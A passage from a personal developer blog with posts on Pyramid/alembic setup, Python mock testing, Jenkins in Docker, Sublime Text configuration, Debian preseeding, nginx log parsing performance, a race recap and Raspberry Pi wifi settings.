    name = Column(Text)
    value = Column(Integer)

Index('my_index', MyModel.name, unique=True, mysql_length=255)

Migration script containing a sequence of SqlAlchemy (sa) is generated by alembic and place in a file with the format [alembic_hash]_initial_commit.py under /alembic/versions/.

Inside the migration file, upgrade function defines database upgrade migration, optional downgrade function defines rollback operations.

The following is a short excerpt from the migration of pyramid-test project.

def upgrade():
    # ### commands auto generated by Alembic - please adjust! ###
    op.create_table('models',
    sa.Column('id', sa.Integer(), nullable=False),
    sa.Column('name', sa.Text(), nullable=True),
    sa.Column('value', sa.Integer(), nullable=True),
    sa.PrimaryKeyConstraint('id', name=op.f('pk_models'))
    )
    op.create_index('my_index', 'models', ['name'], unique=True, mysql_length=255)
    # ### end Alembic commands ###


def downgrade():
    # ### commands auto generated by Alembic - please adjust! ###
    op.drop_index('my_index', table_name='models')
    op.drop_table('models')
    # ### end Alembic commands ###

For more details see -- http://alembic.zzzcomputing.com/en/latest/autogenerate.html#auto-generating-migrations

6 Apply alembic migrations

(pyramid-test)$ alembic upgrade head
INFO  [alembic.runtime.migration] Context impl PostgresqlImpl.
INFO  [alembic.runtime.migration] Will assume transactional DDL.
INFO  [alembic.runtime.migration] Running upgrade  -> 2e0b2d81bfbb, Initial Commit

This will create two tables in postgrestest database.

alembic_version -- keeps track of database versioning for alembic
models -- model defined in /models/mymodel.py

See screenshot below as the contend of the database is displayed in PGadmin3

7 Perform test write to the database

To verify that the database is set up correctly, create a sample object and commit it to the database using Pyramid Shell. The sample code is based on scripts/initialize.db

(pyramid-test)$ pshell development.ini
>>> from pyramid_test.models.mymodel import MyModel
>>> db = request.dbsession
>>> obj_one = MyModel(name='one', value=1)
>>> db.add(obj_one)
>>> request.tm.commit()
>>> db.flush()

To retrieve newly created object from the database, run the following commands.

(pyramid-test)$ pshell development.ini
>>> from pyramid_test.models.mymodel import MyModel
>>> db = request.dbsession
>>> mymodel = db.query(MyModel).one()
>>> print(mymodel)
<pyramid_test.models.mymodel.MyModel object at 0x7fce6d83ceb8>
>>> print(mymodel.name)
one

The object now persists in the database.

8 Run the server

(pyramid-test)$ pserve develoment.ini

Open a web browser and go to http://localhost:6543/ you will be greeted with pyramid demo message.

9 Sample Code

Sample code for the project located in -- https://github.com/avolkov/pyramid-test

Grapical tool for mercurial similar to git blame

2016-12-17T00:00:00-05:00

Git has unfortunately-named nevertheless handy tool for exploring historical file data -- git blame. There's an alternative GUI implementation for Mercurial thg annotate, a part of Tortoise Hg suite.

Annotate tool works exactly the same as blame, just specify a file name i.e. thg annotate setup.py and a window will pop up with revision list, diff and annotate options.

Right-clicking on diff window and selecting Annotate Options brings up possible annotation selection that for some reason aren't selected by default: 'Show Author', 'Show Date' and 'Show Revision'.

StackOverflow discussion -- http://stackoverflow.com/questions/2228188/finding-the-author-of-a-line-of-code-in-mercurial

Debian Package (stretch) -- https://packages.debian.org/stretch/tortoisehg

Project Page -- https://www.mercurial-scm.org/wiki/TortoiseHg

Testing Python with Mock

2016-12-17T00:00:00-05:00

Preamble

In the past few months I've been fortunate enough to write code using TDD. There a brief outline of my experiences using python Mock library help with adding test coverage for the code which is hard to test.

Lessons learned from using mock

Mocking internals of your application is hard, mostly because of dependencies on the other parts of the program, in this case object should be mocked if there is no other choice -- a much better approach is to just create object instances, this is especially true when creating database-backed objects. Integration tests of real database-backed object will verify application logic, as well as database relationships.

Mocks, however, are perfect when faking third party API responses -- there's no application interdependencies to be aware of, the test suite allows to execute code as is, without relying on third-party services or sending any data out, it codifies third party API responses as they are used by your application -- the latter point is especially helpful when a third party API changes between the releases, and any unexpected errors raised after an upgrade, can be quickly identified.

Knowing where to inject mock object

The most challenging part of mocking an object is to figure out where to inject a mocked object. The object needs to be mocked whenever its imported and used an not whenever it's defined. This makes sense because the purpose of the test is to check particular code path with a mock and not to mock that object everywhere. However, my initial assumption was to simply copy import statement from a source, which led to a lot of confusion.

In the following example, of guessing a number between 0 and 10. If the code was saved in a file main.py with import from random.randint

def guess():
    from random import randint
    print("Guessed {}".format(randint(0, 10)))

Mock setup for this case will have to inject randint mock object into main program and not rand library.

from mock import patch

with patch('main.randint') as rnd_mock:
    from main import guess
    guess()
    print(rnd_mock)

Debugging objects that don't cooperate with mock

The second-most challenging thing about mocking objects is timing -- especially the cases where an original instance of the object gets called before mock patch ever has a chance to replace the object.

from mock import patch
from foo import bar

bar.setup()

with patch('foo.bar.run'):
    bar.run()

In this particular case, going against pythonic way of importing code, keeping all the imports at the top of the file, is justified as this solves the problem, running import within patch section will do the trick.

from mock import patch

with patch('foo.bar.run'):
    from foo import bar
    bar.setup()
    bar.run()

In general there is no easy solution to this kind of problem, but a useful debugging technique would be to put a debug point before with declaration, just inside with declaration, and just before the declaration of the object to be mocked. Tracing the order of calls would give a good clue on what's wrong with the mock setup.

Most of the time, the problem is cause by the wrong assumption about the order of imports.

Mocked method call vs. mocked property

There's a difference between calling a mocked property and a method -- it's possible to just assign the value to a property, however for a function needs to be assigned the return value to the property return_value of that mock.

from mock import MagicMock
def print_property():
     myobj = MagicMock()
     myobj.myprop = 3
     print(myobj.myprop)

def print_method():
    myobj = MagicMock()
    myobj.my_method.return_value = 5
    print(myobj.my_method())

In the case of mocking methods calling other methods, return_value can be skipped until the very last method in the chain

from mock import MagicMock
def print_chained_method():
     myobj = MagicMock()
     myobj.a().b().c().last_method.return_value = 42
     print(myobj.a().b().c().last_method())

Mock helper methods

The following helper methods are useful when examining mocks state of how many times and with which parameters a mock was called.

See mock documentation for more info -- https://docs.python.org/3/library/unittest.mock.html

method calls -- a method for tracking any calls to mock objects as well as calls to their methods and attributes.

i.e. The object hasn't been called

>>> mailer.method_calls
>>> []

A constructor has been called with a 'Message' object

>>>mailer().method_calls
>>>[call.send(<pyramid_mailer.message.Message object at 0x7fb9cae06e90>)

call_args -- the arguments the mock was last called with. This method will only return arguments from the last call. To get arguments from all calls, use call_args_list.

call_args_list -- list of the calls made to the mock objects in a sequence. Useful for figuring out the order of calls.

call_count -- the number of times mock object was called

mock_calls -- records all calls to the mock object, its methods, magic methods and return value mocks.

Nose2 profiler setup

2016-11-17T00:00:00-05:00

Nose profiler is one of the plugins that come with nose2 but is turned off by default.

To enable profiling add the following configuration to unittest.cfg in the root of your project.

[unittest]
plugins = nose2.plugins.prof

[profiler]
always-on = False
filename =
restrict =
sort = cumulative

To enable profiler during nose2 run, use the following command parameters nose2 -P or more useful, redirect stdout and stderror into a file so profiler output can be analyzed nose2 -P &> perf_report.txt

Cricket -- awesome test visualizer

2016-11-16T00:00:00-05:00

I've been writing tests for a while and running them with nose2. One of more labor-intensive interactions with nose2 is typing out paths to individual tests. Cricket -- a part of BeeWare suite solves copying-and-pasting test name problem and provides a nice user interface to summarize results from running test suite.

Installing dependencies

Cricket has a couple of system-level dependencies: IDLE editor and IDLE library and TkInter.

For Debian,

Running Cricket under Python 2.7 the following libraries need to be installed

apt-get install idle idle-python2.7 python-tk

Running Cricket Python 3.x the dependencies are

apt-get install idle3 idle-python3.5 python-tk

Installing cricket

Cricket is installed using pip, you can install it in the existing project, or add it in setup.py as one of the dependencies.

Cricket pip page -- https://pypi.python.org/pypi/cricket

(cricket-test)$ pip install cricket

Running cricket

For any python project written with unittest, run cricket-unittst for django projects, run cricket-django.

Runnig sample pyramid project with cricket

Getting started with cricket -- this example of running Pyramid test under Python 3.5

Create Python 3 virtualenv

$ mkvirtualenv cricket-test --python `which python3`
(cricket-test) $ python -V
Python 3.5.2+

Pull Pyramid source code

(cricket-test) $ git clone https://github.com/Pylons/pyramid.git

Install Pyramid dependencies

(cricket-test) $ cd pyramid/
(cricket-test) $ pip install -e .

Install dependencies to run tests

(cricket-test) $ pip install -e .[testing]

Install cricket

(cricket-test) $ pip install cricket

Run cricket

(cricket-test) $ cricket-unittest &

The following UI should appear. If you want to be able to use code coverage tool -- Duvet -- https://pypi.python.org/pypi/duvet, install it with pip using the following command

(cricket-test) $ pip install duvet

Cricket: running all test by pressing Run All

Cricket: copying single test, by selecting a test then pressing Run Selected

Cricket: running a group of tests, by selecting a top-level filename or class, then pressing Run Selected

Missing dependencies errors

If any of system packages is missing from the system the following errors will be triggered when trying to run Cricket.

Missing python-tkinter

Traceback (most recent call last):
File "/home/alex/.virtualenvs/cricket-test/bin/cricket-unittest", line 7, in <module>
from cricket.unittest.__main__ import main
File "/home/alex/.virtualenvs/cricket-test/local/lib/python2.7/site-packages/cricket/unittest/__main__.py", line 4, in <module>
from cricket.main import main as cricket_main
File "/home/alex/.virtualenvs/cricket-test/local/lib/python2.7/site-packages/cricket/main.py", line 13, in <module>
from tkinter import *
ImportError: No module named tkinter

Missing idle / idle-python

    Traceback (most recent call last):
File "/home/alex/.virtualenvs/cricket-test/bin/cricket-unittest", line 7, in <module>
from cricket.unittest.__main__ import main
File "/home/alex/.virtualenvs/cricket-test/local/lib/python2.7/site-packages/cricket/unittest/__main__.py", line 4, in <module>
from cricket.main import main as cricket_main
File "/home/alex/.virtualenvs/cricket-test/local/lib/python2.7/site-packages/cricket/main.py", line 15, in <module>
from cricket.view import (
File "/home/alex/.virtualenvs/cricket-test/local/lib/python2.7/site-packages/cricket/view.py", line 29, in <module>
from tkreadonly import ReadOnlyText
File "/home/alex/.virtualenvs/cricket-test/local/lib/python2.7/site-packages/tkreadonly.py", line 15, in <module>
"to work out how to install IDLE and idlelib.")
Exception: idlelib could not be found. Check your operating system instructions to work out how to install IDLE and idlelib.

Resources

Cricket github page -- https://github.com/pybee/cricket

Duvet github page -- https://github.com/pybee/duvet

python.__init__ podcast: An interview with Russel Keith McGee -- http://podcastinit.podbean.com/e/episode-64-beeware-with-russell-keith-magee/

Running Jenkins in Docker

2016-10-28T10:19:00-04:00

Requirements

I went to an FSOSS 2016 [1] conference and I found one talk on Jenkins to be particularly interesting.

I wanted to try Jenkins, without configuring Java on my laptop or setting up a VM. Using Jenkins docker container would be the easiest solution for this kind of problem.

Prerequisites

This article assumes Docker [2] and Docker Compose [3] have been set up.

Jenkins container

I used an official container built by Jenkins community [4].

The container comes with these settings:

Jenkins server runs on ports 5000 and 8000
Jenkins settings saved to /var/jenkins_home and the directory is exposed as a docker volume
user / group ids are set to jenkins / jenkins with uid/gid set to 1001/1001.

Volume Setup

Docker volume settings, specify container directory mapping between host and container [5], allowing files generated inside of the container to persist. The host system will store the data in /srv/dockercontainer/jenkins_home.

Following steps to set up docker volume and permission mapping on the host.

Create docker volume path on the host

# mkdir /srv/dockercontainer/jenkins_home

Set up user/group mapping on the host.

# groupadd --gid 20000 jenkins
# useradd --home-dir /srv/dockercontainer/jenkins_home \
   --uid 20000 --gid 20000 -s /bin/false -M jenkins
# chown -R jenkins:jenkins /srv/dockercontainer/jenkins_home

Docker compose file

docker-compose.yml specifies startup settings for Jenkins container.

version: '2'
services:
  jenkins:
    image: jenkins
    user: "20000:20000"
    ports:
      - "5000:5000"
      - "8080:8080"
    volumes:
      - /srv/dockercontainer/jenkins_home:/var/jenkins_home

image -- the directive specifies container to use, in this case it's Jenkins container [4].
user -- user/group mapping, 'uid:gid' from the container is mapped 'uid:gid' of the host.
ports -- port mapping from the container to the host.
volumes -- directory (docker volume) mapping, between the host and the container.

Starting up the container

Go to the directory containing docker-compose.yml.

The following command starts the container in foreground, the container needs to be run in the foreground, as during the setup, system activation code for Jenkins will be printed to the console.

# docker-compose up

Open a browser and go to http://localhost:8080. Once initial setup is completed, stop the container with Ctrl+C, then start it as a daemon.

# docker-compose up -d

To shut down the container running in daemon mode, execute the following.

# docker-compose stop

Deleting the container

To remove container setup, run the following command from the directory where docker-compose.yml is located.

# docker-compose rm jenkins

The data generated by Jenkins in docker container is saved in /srv/dockercontainer/jenkins_home with user 'jenkins' and group 'jenkins'.

[1]	FSOSS 2016 -- http://cdot.fsoss.ca/2016/

[2]	Docker installation on Debian -- https://docs.docker.com/engine/installation/linux/debian/

[3]	Install Compose -- https://docs.docker.com/compose/install/

[4]	Official Jenkins Docker image -- https://hub.docker.com/_/jenkins/

[5]	Manage data in containers -- https://docs.docker.com/engine/tutorials/dockervolumes/

Setting up python dev environment in Sublime Text 3

2016-10-23T22:18:00-04:00

Recently I had to completely reset my Sublime Text 3 project settings and set everything up from scratch. I find the following two features the most important and need to be configured first:

linting -- letting the computer keep track of consistent coding style
definition lookup -- letting the computer to look up location of definitions

Linting is provided by SublimeLinter [1] and function definition lookup by Anaconda Python IDE [2]. This article assumes Package Control [3] is already been installed.

Prerequisites

Install flake8 code analyzer [4] on the system for both Python 2 and 3, it's required by SublimeLinter.

apt-get install python-flake8 python3-flake8

Sublime Package Installation

Install the following Sublime packages: SublimeLinter, SublimeLinter-flake8 and Anaconda.

For each package repeat the following process -- Invoke package control by bringing command pallet with Ctrl+Shift+p start typing install, then select Package Control: Install Package type package name and hit enter.

Project Preferences

These are per-project settings, go to Project -> Edit Project and paste the following config. If Edit Project item is unavailable, save the project with Project -> Save Project As...

Top-level settings sections

SublimeLinter -- all the settings related to SublimeLinter

build_systems -- Default Anaconda build system, configuration parameters to run external program to process project files [5]

folders -- Sublime declaration on folders included in the project.

settings -- Anaconda interpreter / project settings

Other parameters

The configuration parameter @python specifies syntax version to lint, in this case Python 2.7.

In all paths, replace {user} and {project} with actual user and project names. I follow a convention of using project name as the name of the virtual environment for that project.

extra_paths -- parameter specifies one or more path to a virtual environment in order to make declaration lookup work for third-party libraries. [6]

{
    "SublimeLinter":
    {
        "@python": 2.7,
        "linters":
        {
            "flake8":
            {
                "max-line-length": 120
            }
        }
    },
    "build_systems":
    [
        {
            "file_regex": "^[ ]*File \"(...*?)\", line ([0-9]*)",
            "name": "Anaconda Python Builder",
            "selector": "source.python",
            "shell_cmd": "\"/home/{user}/.virtualenvs/{project}/bin/python\" -u \"$file\""
        }
    ],
    "folders":
    [
        {
            "path": "/home/{user}/repos/{project}"
        }
    ],
    "settings":
    {
        "python_interpreter": "/home/{user}/.virtualenvs/{project}/bin/python",
        "extra_paths": ["/home/{user}/.virtualenvs/{project}/"],
    }
}

Key Shortcut for Anaconda 'Goto definition..' lookup

Anaconda Goto definition.. action is different from from Sublime Text 3 Built-in Go To Definition.., the latter works just fine for project source files, but it doesn't allow for settings in external paths.

The former can be triggered either by right-clicking on a term, then selecting Anaconda -> Goto Definition, or using default key binding Ctrl + Alt + g; I find both of the shortcuts inconvenient to use.

The configuration below assigns this action to F8 key (which doesn't seem to be used by anything).

Paste the following code in Preferences -> Package Settings -> Anaconda -> Key Bindings - User

[
    {
        "command": "anaconda_goto",
        "keys": ["f8"],
        "context": [{"key": "selector", "operator": "equal", "operand": "source.python"}]
    }
]

Now set cursor on a term with definition to lookup and press F8.

[1]	SublimeLinter 3 -- http://www.sublimelinter.com/en/latest/

[2]	Anaconda Python IDE -- http://damnwidget.github.io/anaconda/

[3]	Package Control, the Sublime Text package manager -- https://packagecontrol.io/

[4]	Flake 8 the modular source checker, pep8, pyflakes and co -- https://pypi.python.org/pypi/flake8

[5]	Sublime Text Unofficial Documentation / Build Systems (Batch Processing) -- http://docs.sublimetext.info/en/latest/file_processing/build_systems.html

[6]	Configure Anaconda the Right Way -- http://damnwidget.github.io/anaconda/anaconda_settings/

Debian Automated Install

2016-10-17T21:44:00-04:00

A few days ago in my part of the talk at GTALUG [1] I mentioned using Debian automated install [2] to quickly bring up fully virtualized systems, as one of possible methods of system deployment or testing Ansible scripts.

This idea worked so well that I made a video out of it --

The video is based on the following: preseed file [3] taken from kali linux preseed [4] and gen_iso script [5], the latter is a distilled version EditIso instructions from Debian Wiki [6]

Example usage -- generating an ISO image based on an existing Debian ISO and a preseed.cfg:

./gen_iso.sh -i debian-8.6.0-amd64-CD-1.iso -p presseed.cfg preseeded.iso

Discussion

One major issue with writing automated install answers -- partitioning abilities are somewhat limited, and the scripts quickly grows in complexity for anything beyond simple one- or two- partition layout. If complex partition required, as in cases when installing Debian on bare hardware, it is possible omit answers to partition questions -- the installer will drop into interactive mode, where custom partition will be set up, once that part of the installation is finished, automated install will resume.

Creating preseed file

It is possible to just run a standard installation giving all the answers to the installer, once installation is over, the answers are retrieved using debconf-get-selections tool, a part of debconf-utils package.

# debconf-get-selections --installer > ${HOME}/preseed.cfg
# debconf-get-selections >> ${HOME}/preseed.cfg

The first command important than the second as it generates answers to questions asked during installation, the second command generates all answers to any subsequent package configuration dialog (i.e. complex packages like Postfix, or Postgresql).

One possible issue that might arise in this scenario of generating configuration files -- automated install answers are work only for standard Debian installation, answers recorded in expert mode will cause errors like installation looping infinitely on one of the dialogs, or automated install dropping into regular install mode.

Another way of generating a preseed file, is to modify existing minimal configuration.

Conclusion

Debian automated install is a handy way of getting from bare metal to a running system that can be handed off to Ansible for further configuration. The point of automated install is to fill the niche Ansible currently not servicing, all further system modifications should be done with Ansible as automated install answers quickly become really complicated.

Sources

[1]	AGM and Ansible with Myles Braithwaite and Alex Volkov. https://gtalug.org/meeting/2016-10/

[2]	Appendix B. Automating the installation using preseeding. https://www.debian.org/releases/jessie/i386/apbs02.html.en

[3]	A sample preseed file. https://github.com/myles/2016-10-11-ansible/blob/master/2-testing/03-debian-preseed/iso/preseed.cfg

[4]	Kali linux preseed file. https://www.kali.org/dojo/preseed.cfg

[5]	gen_iso.sh script for creating ISO images with slipstreamed preseed files. https://github.com/myles/2016-10-11-ansible/blob/master/2-testing/03-debian-preseed/iso/gen_iso.sh

[6]	Debian-Installer: How to modify an existing CD image to preseed d-i. https://wiki.debian.org/DebianInstaller/Preseed/EditIso

Hello world

2016-09-29T22:01:00-04:00

A one way of learning restructured test is to start writing all of the things down using rst. Pelican is a rather nice static site generator, it is written in Python, so it is more intuitive for me to use.

I followed this short tutorial on how to set up a blog with pelican, rst and github pages can be found on Circuidipity.

Thursday's Raspberry Pi meetup

2016-01-17T22:01:00-05:00

I went to Raspberry Pi meetup on Thursday, January 14, and would like to share some links about the presentation I gave and things I brought with me.

One important thing to be aware about soil moisture sensor, is to not apply voltage to the soil probe all the time or take too many measurements at once as leads on the probe will quickly corrode. Also the probe has analog data output, and it looks like it would work better with Adruino board than Raspberry Pi as the latter doesn't have analog input pins.

Fun of premature optimization

2016-01-09T00:00:00-05:00

Last week I deployed a redesigned website that included a new search feature, looking at the server logs I've noticed that users of the site use search. A lot.

I wanted to know more about what kind of questions end-users were asking, so I wrote a short program to parse the logs, extracting query strings formed with HTTP GET variable q=query+text. It was fairly easy do, especially with apache_log_parser pypi, github, that works with any web server with common log format support. Nginx is compatible, default access log line can be parsed with this -- %h %l %u %t "%r" %>s %O "%{Referer}i" "%{User-Agent}i'

The program returns an array records, each containing query string, remote IP address and a time stamp, then I toyed with the idea of measuring its performance, so I tested several possibilities with the most crude tool ever -- time command. I used real time value.

The setup: this program is implemented in Python 3, it was run on Intel Celeron 2955U, the input log file size is 15MB. All the code changes were cumulative -- the performance was measured with all the changes up to that point.

Source code from the initial version.

from pprint import pprint
import apache_log_parser
nginx_parser = apache_log_parser.make_parser(
    '%h %l %u %t "%r" %>s %O "%{Referer}i" \"%{User-Agent}i')
log_file = "access.log"


def parse_queries(in_query):
    """Return one or more quieries in the request stripping 'q' member"""
    for q in in_query:
        q = set(q)
        if 'q' in q:
            out = q - {'q'}
            yield out.pop()


def prep_item(label, parsed_line):
    """create a dictinary with label, timestamp and IP address members"""
    timestamp = parsed_line['time_received_tz_datetimeobj']
    remote_ip = parsed_line['remote_host']
    return dict(query=label, time=timestamp, ip=remote_ip)


def extract_searches(filename):
    """parse the logfile and return list of dictionaries with query, time ip"""
    search_list = []
    with open(filename, 'r') as log:
        for line in log:
            outp = nginx_parser(line)
            if 'request_url_path' not in outp:
                continue
            if '/search/' not in outp['request_url_path']:
                continue
            for item in parse_queries(outp['request_url_query_list']):
                search_list.append(prep_item(item, outp))
    return search_list

if __name__ == "__main__":
    searches = extract_searches(log_file)
    pprint(searches)

Running this script under time gave the following results.

Run #	time (seconds)
1	11.052
2	11.139
3	11.019
4	11.073
average	11.0708

What would happen if the list accumulator in extract_searches were replaced by a generator called outside of the function by list comprehension? The code will look much cleaner, generators are a little slower than in-memory operations, but list comprehensions are much faster than array append, on average this should be the same or slightly faster.

def extract_searches(log_fd):
    for line in log_fd:
        outp = nginx_parser(line)
        if (not 'request_url_path' in outp) or \
                ('/search/' not in outp['request_url_path']):
            continue
        for item in parse_queries(outp['request_url_query_list']):
            yield prep_item(item, outp)

...

if __name__ == "__main__":
    with open(log_file, 'r') as logfile:
        searches = [x for x in extract_searches(logfile)]
    print(searches)

As it turns out, on average this particular case of nicer python code is marginally slower.

Run #	time (seconds)
1	10.991
2	11.219
3	11.431
4	11.141
average	11.1955

Another possible optimization was to replace if 'q' in q: statement with try .. catch block as at that point in the code, this statement should mostly evaluate to True. After running the program without the conditional it turn out my guess was wrong and the statement always evaluated to True.

def parse_queries(in_query):
    for q in in_query:
        out = set(q)
        out -= {'q'}
        yield out.pop()

After this modification, the average runtime improved enough to make up for performance hit from the pythonic changes.

Run #	time (seconds)
1	10.950
2	11.119
3	11.090
4	11.028
average	11.0468

Finally, I'm only interested in urls containing '/search/', what if the whole log line is searched for '/search'/ without attempting to find request URL string first?

def extract_searches(log_fd):
    for line in log_fd:
        if '/search/' not in line:
            continue
        outp = nginx_parser(line)
        if ('request_url_path' not in outp) or \
                ('/search/' not in outp['request_url_path']):
            continue
        for item in parse_queries(outp['request_url_query_list']):
            yield prep_item(item, outp)

The improvement was an order of magnitude. Turns out the common log format parser, is just a nicely abstracted set of regular expressions, a rather neat neat set -- __init__.py line 141, but running several regular expression to parse a line is way slower than a simple string comparison.

Run #	time (seconds)
1	1.025
2	1.022
3	1.026
4	1.040
average	1.0285

I can think of two things after doing this exercise: first, the law of leaky abstractions is still with us even if the abstracted code is relatively straightforward and works well, there are still implementation details to be aware of; second, fixing up and making code better and more pythonic helps me to think about program flow differently with much greater potential benefits in the long run, even if in the short run performance of a program may decrease.

My awesome 15K MEC Run

2015-12-06T22:44:33-05:00

These are my experiences from MEC Race Seven that happened on October 20, 2015. I posted this a while ago on EYTR page, now I finally got a couple of photos of it.

I'm still not sure how that's possible but I ran MEC 15K in 1:09:42.0. That brought me to #11 finisher.

My watch shows the average pace of 4.39 Min/Km. Which is not the kind of numbers I'm used to or expect.

I started the run at a pace that was way too fast breathing like a steam locomotive for the first 2K. Then I followed a runner who was keeping a pace of 4:20-4:30 Min/Km and I managed to run along until 4.5K mark. Then I started falling behind, but I didn't fall behind for more than a couple hundred meters.

From the beginning of the race I thought I would do my best and then completely fall apart around 10K, but that didn't happen. After 8K my calves started to hurt, so accelerating or coming back to the average pace has become increasingly difficult, but not impossible.

I didn't fall apart at 10K, but 10K point was also a turnaround point near the finish line that goes another 2.5K in the direction that is totally opposite where the majority of runners are going, and running that way felt kinda demotivating.

The stretch from 11K to 13K was the hardest in the reace, but somehow whenever I looked at the watch the dreaded pace indicator at the bottom still managed to hover on both sides of 5:00 min/KM mark.

The remainder of the race became a mental battle that turned from not falling apart before 10K to not falling apart at the next K and finally not falling apart at the last K. I'm glad to report I have managed.

I've been running around 25-40K in the last three or four weeks but never more than 15K at a time, I also would sometimes run during our regular runs with Becca or Navin at a pace 4:30-4:40 Min/Km but no more than 2 or 3KM at a time, apparently both of those things really helped.

Thanks guys and gals!

Raspberry Pi Wireless config

2015-12-06T00:57:30-05:00

Here's working wireless configuration I use to connect my Raspberry Pis with USB wifi dongles to my home network.

I've been using Realtek RTL8188CUS and Ralink RT5370 based devices rated for 150Mbps.

Dongles based on Ralink chip have been working flawlessly, but I have experienced two issues with the Realtek-based device. The adapter just doesn't work in AP mode, and if there's no network activity it will drop in power saving mode that can only be resumed packets are sent from the host.

In practical terms the host becomes unavailable for anyone who attempts to initiate a remote connection, however, this can be mitigated by creating a cron job that pings the router every minute.

This configuration that doesn't rely on GUI or NetworkManager starting up, assumes that wpasupplicant package is installed and wireless adapter is recognized by the system as wlan0.

Add the following to /etc/network/interfaces

allow-hotplug wlan0
iface wlan0 inet manual
wpa-roam /etc/wpa_supplicant/wpa_supplicant.conf
iface default inet dhcp

Edit /etc/wpa_supplicant/wpa_supplicant.conf as such.

ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
update_config=1

network={
        ssid="AP Name"
        psk="AP Secret"
        proto=RSN
        key_mgmt=WPA-PSK
        pairwise=CCMP
        auth_alg=OPEN
}